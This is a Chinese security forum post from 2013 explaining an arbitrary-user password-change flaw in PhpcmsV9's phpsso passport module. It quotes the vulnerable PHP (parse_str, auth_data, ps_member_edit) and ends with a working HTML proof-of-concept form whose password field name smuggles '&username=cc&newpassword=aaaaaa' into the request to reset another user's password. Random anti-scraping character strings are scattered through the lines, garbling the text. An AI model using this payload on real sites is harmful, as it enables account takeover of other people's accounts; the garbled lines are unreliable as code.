找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2014|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
提到的通行证的代码:
9 u% T  M5 U, \
+ U* v( K. m; u) z+ b$ c# _/ ?* K1 P' Z" q) ?# j' w. c( a
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);# E- S& _8 ~$ G; q8 t
3 S; y/ H( [# \" Z$ |; v
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
/ Z8 w* w) |3 A: _# O7 i( Q0 L, ?4 G2 ]) g/ g5 f
我把它留给了你们。* P" d; @, O* X
不知道你们发现了它没有。
* R" U2 G( C# O6 Q( R$ E  E
2 V' x/ D! ?2 ]9 s; F, f/ ~  ?$ Q; w我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。& }  ^3 o2 b6 D0 y8 t5 A8 @

& I1 Y: U5 q. `1 Q% I6 |所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。2 h+ F  R3 ]7 N
/ ]8 `) ~$ H5 M
也就是8 W5 k+ \) q# l* a( ]& L
9 u: \. E, ^( o0 a7 K' _
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
: H4 q/ k! a7 a0 f; B6 _. {
8 f( C+ o  h# q, |: X0 S8 [要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
; b9 X4 v( b* M8 z) X( S: d
: a( V3 ^& J* X% R
# `! o9 z) B7 `% a8 H6 _0 H其实我们有这样的机会,看看代码,如下:
; B. [. b/ D, R3 Q# `& `) M" t) z
4 \8 }* F+ h0 T0 ?  j
public function auth_data($data) {
6 V$ `2 d- \% o* O                $s = $sep = '';. q; g% w* Q% v9 ~8 h0 T& z: x
                foreach($data as $k => $v) {
. l" o$ K* \5 {                        if(is_array($v)) {
8 ~$ U6 H3 S( k2 Q! d( C* w3 S/ F: b; X                                $s2 = $sep2 = '';
( C, N4 U* x% z, X. D/ s7 {- s                                foreach($v as $k2 => $v2) {5 y/ J( u/ _) a) Z2 N
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);+ C+ u9 F5 i  g+ _9 u  z' @  u
                                        $sep2 = '&';
3 s, B& e" A, g) F) Q% H                                }  U' Z0 Q# a/ t9 w! g, k" j( C
                                $s .= $sep.$s2;9 L& \; B4 q7 V6 F
                        } else {. y8 Z( Q  a! t- c: w+ Z4 u
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
1 _1 f1 P8 u$ K. I' N+ u                        }; Y' X3 Y4 \- D: J( y: F
                        $sep = '&';) a; F8 ]/ g% h6 u; ]9 p8 q# B
                }
5 [+ e- l9 H, T" ]3 _- G8 b- R5 |, P. [& y, @
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));) [7 n3 V3 ]+ m. ^; n
                return $auth_s;' b* T( R) _; ?( o, i
        }% A1 {6 E; w6 L/ }8 X9 @; i( W$ e
2 X. s4 _& {- c) J8 C7 n# O
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。4 Z2 Z: b# Q# a4 [+ h3 w

- e! w, d; t% J8 P举个例子
( o. O7 k7 v2 Q6 Z1 _
9 E4 J# d& e1 c& e/ C$a[aaa=a&bbb] = 'a';6 H+ E2 X  Z# L! F: l+ p
% ~- @' E/ x' }. C0 A
会变成aaa=a&bbb=a! P1 w6 V7 W1 H7 W
; W; g. u9 M8 T2 k: ]
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
  |' p+ g" j) z, O- J4 w
( `+ W. o4 o) n% s这个时候,我们可以再去看一个函数。7 W" ]3 P7 k  s% \* m. t

5 Z% V/ z. J; _; ~" b就在这个文件内:
6 t# V6 ?" M. W: ~% K2 W& Q! h. U' |1 P9 M+ N! @

: ]5 ^, L, X' O" j5 K- ypublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {; }3 f( Q, ~) b1 M0 F/ O$ Y
                if($email && !$this->_is_email($email)) {
9 Z# E4 a& G6 x' i                        return -4;, q) F9 Y0 c/ K: D, q% z
                }
4 x5 g& [3 k+ Z8 T# \/ D9 b                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));4 ~; V; v4 t5 E0 F6 f
        }0 X! E8 ?) T! ~6 u3 ~* A

) i8 Q4 V! l, R, ~* M" {: M这是向通行证发了这样一个请求。8 o+ O/ b% {$ C  C! P

3 s2 G" s- O: ~我们再跟到通信证代码里去看看,就会有所发现。
1 w" n, k( }7 |) e5 X3 C0 _" C. `& U, ~
6 [2 L/ [% p6 E; J% D
public function edit() {1 \- t2 |/ ], ?- p
//能省就省,太长了不是吗?! a6 J% ^! q, U+ b; j/ k4 [

5 k7 D( j  o& E9 X* t% [! X6 t" A3 tif($this->username) {
+ V: c# P1 v2 C* b6 ?//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。1 l1 }% P' l+ v1 a( o8 ]# K) S6 z2 {
                                $res = $this->db->update($data, array('username'=>$this->username));
. h+ _4 n) _" `! d% `1 K2 g2 M/ }                        } else {
3 F: _6 f# ~1 h4 \1 V6 n' a                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
: ~+ _, u) o$ `9 I7 o9 r                                $res = $this->db->update($data, array('uid'=>$this->uid));
& t' e' Z6 C' |9 E/ q                        }
1 b* C% ]( ~  u9 \! D  b
9 G7 l8 l1 P& i3 p8 D9 T好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
( t0 i/ q2 H2 f* p/ ^( \; k
- `' \/ h) |6 {. npublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
* Q; v! ^) q$ u' L4 Z$ m$ N4 V# B; B
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。5 ]6 ^7 ~$ p  J6 E
( {; S  Z9 l5 o( g
我当然找到了:
3 u1 g8 O. k; lphpcms9/phpcms/modules/member/index.php5 T1 r2 O- L$ J6 H2 Z1 S& \, A
0 ]0 I7 G( F# f
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);: F, W: ?5 `, }# w, U

2 e1 N1 P! o1 g4 K然后就没有然后了。8 y! e: {/ z9 x+ v
3 z3 {, ]: c0 X) p
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">5 d# G5 k5 L0 C$ T: l. V
                                <table width="100%" cellspacing="0" class="table_form">' d7 R3 o9 e  ?8 U
                                        <tr>( l5 I9 B4 w- \+ K" p, z4 s
                                                <th width="80">邮箱:</th>        + S2 l! I* i3 C2 x, t* Y
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
$ {& q3 j5 _8 N' b7 C. {                                        </tr>
# \9 Y; \9 e8 H# `% q8 E1 R5 B& z                                        <tr>
3 C5 m( g' O: \' E                                                <th width="80">原密码:</th>        
) ~  _' R  s  i: [6 d+ `0 o% k9 x                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>/ J3 C9 v; f. R
                                        </tr>
- ^& k' o* d9 U/ i                                        <tr>
! F2 |6 `" [; {( x3 {                                                <th>新密码:</th>
$ p! P, [- \, M+ U( [                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
9 [4 I. Q- R" T' y8 G' v                                        </tr>
" g/ Z# c( E  Q7 E                                        <th></th>( @4 }+ L4 @$ h$ b0 \
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
1 A8 S2 Y6 r, V% a, `                                        </tr>
) g! d% ?( s6 r  A2 m3 X7 A                                </table>4 G0 m, L( e7 p* i

: _  ^: k9 M; I$ J, Z& m) t                               
+ c* B8 C* f" N' z2 ~                        </form>9 J/ R1 C7 h# V9 v8 U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表